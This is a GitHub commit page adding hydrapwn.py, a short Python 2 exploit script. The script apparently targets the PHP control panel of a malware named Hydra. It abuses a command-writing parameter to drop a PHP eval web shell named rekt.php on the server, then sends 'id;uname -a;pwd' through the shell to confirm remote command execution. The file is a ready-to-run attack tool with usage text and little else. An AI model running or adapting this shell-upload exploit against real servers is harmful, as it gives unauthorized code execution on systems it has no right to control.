Skip to content

Commit 94bc04e

Browse files
authored
Create hydrapwn.py
1 parent 3021527 commit 94bc04e

File tree

1 file changed

+38
-0
lines changed

1 file changed

+38
-0
lines changed

hydrapwn/hydrapwn.py

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
#!/usr/bin/python2
2+
import requests
3+
import sys
4+
5+
def drop_shell(target_url):
6+
print "{+} Dropping a shell on the target..."
7+
data = {"pw": "TaylorHak",
8+
"cmd": "Admin,WriteCMD,<?php eval($_REQUEST[1337]);",
9+
"hwid": "rekt.php",
10+
"username": "get",
11+
"country": "rekt",
12+
"os": "scrubs"}
13+
try:
14+
r = requests.post(target_url, data=data, verify=False)
15+
except Exception:
16+
sys.exit("NOPE!")
17+
lol = target_url.split("/")[-1]
18+
shell_url = target_url.replace(lol, "rekt.php")
19+
print "{+} Shell Uploaded. It should be at %s" %(shell_url)
20+
return shell_url
21+
22+
def check_shell(shell_url):
23+
print "{+} Sending id;uname -a;pwd...\n\n"
24+
data = {"1337": 'system("id;uname -a;pwd");'}
25+
try:
26+
r = requests.post(shell_url, data=data, verify=False)
27+
print r.content
28+
except Exception, e:
29+
sys.exit(str(e))
30+
31+
def main(args):
32+
if len(args) != 2:
33+
sys.exit("use: %s http://skidsr.us/hydraphp/index.php" %(args[0]))
34+
shell_url = drop_shell(target_url=args[1])
35+
check_shell(shell_url)
36+
37+
if __name__ == "__main__":
38+
main(args=sys.argv)

0 commit comments

Comments
 (0)